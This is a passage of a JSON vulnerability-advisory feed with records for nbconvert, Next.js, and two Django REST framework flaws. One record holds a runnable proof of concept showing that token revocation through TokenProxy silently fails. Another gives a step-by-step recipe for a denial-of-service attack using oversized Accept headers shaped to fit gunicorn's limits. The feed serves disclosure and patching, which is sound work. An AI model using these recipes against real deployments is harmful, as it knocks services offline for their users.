(PyPI)","nbconvert","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114140","asOf":"2026-10-22T17:29:28.470Z"},"epss":{"probability":0.00381,"percentile":0.31842,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114140&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-pjvx-prjx-h659","url":"https://github.com/advisories/GHSA-pjvx-prjx-h659","type":"primary","publishedAt":"2026-10-22T16:23:28.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-pjvx-prjx-h659, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-pjvx-prjx-h659, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-pjvx-prjx-h659, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-pjvx-prjx-h659, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-pjvx-prjx-h659, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-pjvx-prjx-h659, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-pjvx-prjx-h659, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-pjvx-prjx-h659, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-pjvx-prjx-h659, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-114140","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114140","type":"primary","publishedAt":"2026-10-21T21:17:56.520Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114140&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114140, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94482","cveId":"CVE-2026-94482","aliases":["GHSA-p3m5-59mp-jv5r"],"kind":"vulnerability","title":"Next.js: Denial of Service in App Router using Server Actions","summary":"Next.js is a React framework for building full-stack web applications. From 13.0.0 until 15.5.28 and 16.4.1, crafted requests targeting App Router applications with at least one Server Action can cause excessive CPU consumption and block processing of further requests in the same process. Applications using the Pages Router and App Router applications without Server Actions are not affected. This issue is fixed in versions 15.5.28 and 16.4.1.","detail":"Next.js is a React framework for building full-stack web applications. From 13.0.0 until 15.5.28 and 16.4.1, crafted requests targeting App Router applications with at least one Server Action can cause excessive CPU consumption and block processing of further requests in the same process. Applications using the Pages Router and App Router applications without Server Actions are not affected. This issue is fixed in versions 15.5.28 and 16.4.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T16:19:16.720Z","updatedAt":"2026-10-22T17:29:28.470Z","regions":["Global"],"vendor":null,"product":"next, next","stacks":["Next.js","JavaScript packages (npm)","next","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94482","asOf":"2026-10-22T17:29:28.470Z"},"epss":{"probability":0.00365,"percentile":0.30107,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94482&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94482","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94482","type":"primary","publishedAt":"2026-10-22T16:19:16.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"GitHub-reviewed advisory GHSA-p3m5-59mp-jv5r","url":"https://github.com/advisories/GHSA-p3m5-59mp-jv5r","type":"primary","publishedAt":"2026-10-22T15:50:34.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-p3m5-59mp-jv5r, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-p3m5-59mp-jv5r, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-p3m5-59mp-jv5r, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-p3m5-59mp-jv5r, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-p3m5-59mp-jv5r, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-p3m5-59mp-jv5r, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-p3m5-59mp-jv5r, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-p3m5-59mp-jv5r, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-p3m5-59mp-jv5r, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94482&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94482, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114137","cveId":"CVE-2026-114137","aliases":["GHSA-xw6w-gcfp-cf8m"],"kind":"vulnerability","title":"Django REST framework: TokenProxy.delete() reports success and revokes nothing","summary":"Deleting an authentication token through `TokenProxy` silently deletes nothing. The call raises no\nexception and reports success, the database row survives, and the token keeps authenticating. Any\napplication, admin integration or operational script that revokes credentials by calling `.delete()`\non a `TokenProxy` instance believes it has revoked a token that is still live.\n\n`TokenProxy` overrides `pk` to return the user id (`rest_framework/authtoken/models.py:49-63`):","detail":"### Summary\n\nDeleting an authentication token through `TokenProxy` silently deletes nothing. The call raises no\nexception and reports success, the database row survives, and the token keeps authenticating. Any\napplication, admin integration or operational script that revokes credentials by calling `.delete()`\non a `TokenProxy` instance believes it has revoked a token that is still live.\n\n### Details\n\n`TokenProxy` overrides `pk` to return the user id (`rest_framework/authtoken/models.py:49-63`):\n\n```python\n@property\ndef pk(self):\n return self.user_id\n```\n\nThe concrete `Token` model keys on `key`, not on an integer id. `Model.delete()` builds its delete\nquery from `pk`, so it emits:\n\n```sql\nDELETE FROM \"authtoken_token\" WHERE \"authtoken_token\".\"key\" IN ('1')\n```\n\nThat matches a user id against the 40-character key column. Nothing matches, nothing raises, and the\ncall returns `(0, {'authtoken.TokenProxy': 0})`.\n\nDRF already ships two workarounds for this same identity mismatch instead of a fix. In\n`rest_framework/authtoken/admin.py`, `TokenAdmin.delete_model` re-fetches the concrete row:\n\n```python\ndef delete_model(self, request, obj):\n Token.objects.get(key=obj.key).delete() # admin.py:30\n```\n\nand `TokenAdmin` sets `actions = None` with the comment \"Actions not compatible with mapped IDs\"\n(`admin.py:50-53`). The shipped admin path is therefore safe, and every other caller of\n`TokenProxy.delete()` is not. Nothing in the API signals the difference.\n\n`TokenProxy` was added by `e2bd3b6a` (PR #7341, \"Adjusted token admin to map to user ID\"), first\nreleased in 3.12.0.\n\nA fix would drop the `pk` override, or give `TokenProxy` a `delete()` that operates on the concrete\nrow, or raise instead of silently reporting zero deletions.\n\n### PoC\n\nSave as `poc_tokenproxy_revocation.py` and run it.\n\n```python\n#!/usr/bin/env python\n\"\"\"\ndjango-rest-framework: TokenProxy.delete() reports success and revokes nothing.\n\n baseline token exists -> 200\n TRIGGER TokenProxy.objects.get(...).delete() -> no exception, row survives, still 200\n CONTROL Token.objects.get(key=...).delete() -> row gone, 401\n\nThe control is what makes the trigger meaningful: it proves the row was\ndeletable and the credential check live, so the 200 after the proxy delete is a\nfailed revocation and not a broken harness.\n\nRequires: django, djangorestframework importable. No arguments.\n python poc_tokenproxy_revocation.py\nExit status 0 means the revocation failure reproduced.\n\"\"\"\nimport sys\n\nimport django\nfrom django.conf import settings\n\nsettings.configure(\n DEBUG=False,\n SECRET_KEY=\"poc\",\n ALLOWED_HOSTS=[\"*\"],\n ROOT_URLCONF=__name__,\n INSTALLED_APPS=[\n \"django.contrib.contenttypes\",\n \"django.contrib.auth\",\n \"rest_framework\",\n \"rest_framework.authtoken\",\n ],\n DATABASES={\"default\": {\"ENGINE\": \"django.db.backends.sqlite3\", \"NAME\": \":memory:\"}},\n DEFAULT_AUTO_FIELD=\"django.db.models.AutoField\",\n USE_TZ=True,\n)\ndjango.setup()\n\nfrom django.contrib.auth import get_user_model # noqa: E402\nfrom django.core.management import call_command # noqa: E402\nfrom django.db import connection # noqa: E402\nfrom django.test import Client # noqa: E402\nfrom django.test.utils import CaptureQueriesContext # noqa: E402\nfrom django.urls import path # noqa: E402\n\nfrom rest_framework.authentication import TokenAuthentication # noqa: E402\nfrom rest_framework.authtoken.models import Token, TokenProxy # noqa: E402\nfrom rest_framework.permissions import IsAuthenticated # noqa: E402\nfrom rest_framework.response import Response # noqa: E402\nfrom rest_framework.views import APIView # noqa: E402\n\nclass Whoami(APIView):\n authentication_classes = [TokenAuthentication]\n permission_classes = [IsAuthenticated]\n\n def get(self, request):\n return Response({\"user\": request.user.get_username()})\n\nurlpatterns = [path(\"\", Whoami.as_view())]\n\ndef probe(client, key):\n response = client.get(\"/\", headers={\"authorization\": \"Token %s\" % key})\n return response.status_code\n\ndef main():\n call_command(\"migrate\", run_syncdb=True, verbosity=0)\n user = get_user_model().objects.create_user(username=\"revoke-user\", password=\"pw\")\n key = Token.objects.create(user=user).key\n client = Client()\n\n print(\"TokenProxy._meta.proxy =\", TokenProxy._meta.proxy)\n print(\"Token._meta.pk.attname =\", Token._meta.pk.attname)\n print(\"user.pk =\", user.pk)\n print(\"token key =\", key)\n\n print(\"\\n--- baseline\")\n print(\"rows =\", Token.objects.count())\n baseline = probe(client, key)\n print(\"GET / with token ->\", baseline)\n\n print(\"\\n--- TRIGGER: delete through the proxy\")\n proxy = TokenProxy.objects.get(user=user)\n print(\"proxy.pk =\", proxy.pk, \"(TokenProxy.pk property)\")\n raised = None\n with CaptureQueriesContext(connection) as ctx:\n try:\n returned = proxy.delete()\n except Exception as exc: # noqa: BLE001\n raised, returned = exc, None\n for q in ctx.captured_queries:\n if \"DELETE\" in q[\"sql\"]:\n print(\" SQL:\", q[\"sql\"])\n print(\"raised =\", repr(raised))\n print(\"returned =\", returned)\n print(\"rows =\", Token.objects.count())\n after_proxy = probe(client, key)\n print(\"GET / with token ->\", after_proxy)\n\n print(\"\\n--- CONTROL: delete the same row through the concrete model\")\n with CaptureQueriesContext(connection) as ctx2:\n returned2 = Token.objects.get(key=key).delete()\n for q in ctx2.captured_queries:\n if \"DELETE\" in q[\"sql\"]:\n print(\" SQL:\", q[\"sql\"])\n print(\"returned =\", returned2)\n print(\"rows =\", Token.objects.count())\n after_real = probe(client, key)\n print(\"GET / with token ->\", after_real)\n\n ok = baseline == 200 and raised is None and after_proxy == 200 and after_real == 401\n print(\n \"\\nrevocation failure reproduced:\", ok,\n \"(baseline 200, still 200 after proxy delete, 401 after real delete)\",\n )\n return 0 if ok else 1\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```\n\nObserved output:\n\n```\nTokenProxy._meta.proxy = True\nToken._meta.pk.attname = key\nuser.pk = 1\ntoken key = 6a644878f252175d39205804c5a6faf16df67c10\n\n--- baseline\nrows = 1\nGET / with token -> 200\n\n--- TRIGGER: delete through the proxy\nproxy.pk = 1 (TokenProxy.pk property)\n\n\nAffected package ranges reported by GitHub:\ndjangorestframework: >= 3.12.0, < 3.18.2","action":"GitHub lists first patched versions: djangorestframework: 3.18.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:18:05.000Z","updatedAt":"2026-10-23T15:17:25.650Z","regions":["Global"],"vendor":null,"product":"djangorestframework","stacks":["Python packages (PyPI)","djangorestframework","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114137","asOf":"2026-10-23T15:17:25.650Z"},"epss":{"probability":0.00474,"percentile":0.4067,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114137&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-xw6w-gcfp-cf8m","url":"https://github.com/advisories/GHSA-xw6w-gcfp-cf8m","type":"primary","publishedAt":"2026-10-22T16:18:05.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-xw6w-gcfp-cf8m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-xw6w-gcfp-cf8m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-xw6w-gcfp-cf8m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-xw6w-gcfp-cf8m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-xw6w-gcfp-cf8m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-xw6w-gcfp-cf8m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-xw6w-gcfp-cf8m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-xw6w-gcfp-cf8m, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-xw6w-gcfp-cf8m, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-114137","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114137","type":"primary","publishedAt":"2026-10-21T21:17:56.057Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114137&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114137, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114138","cveId":"CVE-2026-114138","aliases":["GHSA-33wh-fxxf-88vv"],"kind":"vulnerability","title":"Django REST framework: Accept header with many large quoted parameters burns ~19s of CPU per request in content negotiation","summary":"DRF's content negotiation parses each Accept token several times per request and never limits the number of tokens or their total size. Each parse ends up in Django's parse_header_parameters, which takes quadratic time when a quoted parameter value is packed with semicolons. On my machine a single GET with a 780KB Accept header made of 96 such tokens kept one gunicorn worker busy for 18.87 seconds (Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0, Python 3.13, Docker on macOS). The header is syntactically valid, fits inside gunicorn's default header limits, and needs no authentication. Two concurrent requests, which is one per sync worker, made a default two worker deployment stop answering for my whole 40 second test window. It recovered half a second after I stopped sending.\n\nget_accept_list() splits the Accept header on commas with no cap on token count or total size, at rest_framework/negotiation.py:96-97.","detail":"### Summary\n\nDRF's content negotiation parses each Accept token several times per request and never limits the number of tokens or their total size. Each parse ends up in Django's parse_header_parameters, which takes quadratic time when a quoted parameter value is packed with semicolons. On my machine a single GET with a 780KB Accept header made of 96 such tokens kept one gunicorn worker busy for 18.87 seconds (Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0, Python 3.13, Docker on macOS). The header is syntactically valid, fits inside gunicorn's default header limits, and needs no authentication. Two concurrent requests, which is one per sync worker, made a default two worker deployment stop answering for my whole 40 second test window. It recovered half a second after I stopped sending.\n\n### Details\n\n#### What happens\n\nget_accept_list() splits the Accept header on commas with no cap on token count or total size, at rest_framework/negotiation.py:96-97.\n\nFor every token, select_renderer() calls media_type_matches() once per renderer, and each call builds fresh _MediaType objects for both sides, at rest_framework/negotiation.py:53-56 and rest_framework/utils/mediatypes.py:22-23. `_MediaType.__init__` calls django.utils.http.parse_header_parameters unconditionally, at rest_framework/utils/mediatypes.py:47.\n\nWhen nothing matches, DRF raises NotAcceptable (406). Rendering that error response also needs a renderer, so finalize_response() runs the entire negotiation a second time through perform_content_negotiation(force=True), at rest_framework/views.py:434-437.\n\nWith the default two renderers this comes to about six parses per Accept token per request. I confirmed the count by instrumenting _MediaType with a counter: six per token, three from the normal pass and three from the forced re-negotiation.\n\nThe quadratic part is on the Django side. parse_header_parameters splits parameters with _parseparam, which handles quoted values by recounting the quote characters from the start of the string for every candidate separator, the s.count('\"', 0, end) calls in django/utils/http.py. A quoted value holding k semicolons costs roughly k rescans over k characters, so a single ~8KB value takes about 31ms per parse here.\n\nNumbers from my runs, measured as utime+stime deltas of the server process:\n\none token, ~9KB: 230ms server CPU\n24 tokens, 216KB: 5.07s on runserver, which has no per field limit\n48 tokens, 432KB: 10.08s on runserver\n96 tokens, 780KB: 18.87s under gunicorn defaults\n\nWall time matched CPU time in every run, so this is pure CPU work. RSS stayed flat at 57MB throughout, this is a time attack and not a memory one.\n\n#### A few details that matter for reproducing it:\n\nDjango rejects a single media type string longer than 10,000 chars (MAX_HEADER_LENGTH), so each token has to stay just under that. Going over gives you a ValueError and a 500, which is a different and much weaker problem.\n\ngunicorn defaults are limit_request_field_size 8190 and limit_request_fields 100, so the working shape is 96 separate Accept fields with one ~8.1KB token each. That puts the single request ceiling near 19s, below the default 30s worker timeout, so one request alone does not get a stock gunicorn worker killed by the arbiter. It does not need to. Each request pins one sync worker for its full duration, so on two workers, two held connections wedge the service.\n\norder_by_precedence collects tokens into a set, so identical tokens collapse and the cost mostly disappears. Each token needs its own parameter name, x0=, x1=, x2= and so on.\n\n#### Where a fix could go, either of these alone would be enough:\n\nParse each Accept token once per request and reuse the result in the matching loop and in the 406 re-negotiation.\n\nPut an aggregate budget in get_accept_list(), say 8KB total or 64 tokens, and treat anything past it as not acceptable.\n\nThe quadratic behavior itself lives in Django's parser, but DRF is the one calling it six times per token with no cap on how many tokens there are, so both fixes look like DRF changes to me.\n\n### PoC\n\nVerified end to end on Docker Desktop for macOS (Apple Silicon, 8 cores), python:3.13-slim image, Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0. Nothing was configured beyond defaults.\n\nMinimal target, any default DRF project works, this is the one I used.\n\nrequirements.txt:\n\n django==6.1\n djangorestframework==3.18.0\n gunicorn==26.0.0\n\npocproj/settings.py:\n```python\nSECRET_KEY = 'poc'; DEBUG = False; ALLOWED_HOSTS = ['*']\nINSTALLED_APPS = ['django.contrib.contenttypes', 'django.contrib.auth', 'rest_framework']\nROOT_URLCONF = 'pocproj.urls'; WSGI_APPLICATION = 'pocproj.wsgi.application'\nDATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': ':memory:'}}\nUSE_TZ = True\n```\n\npocproj/api.py:\n```python\nfrom rest_framework.views import 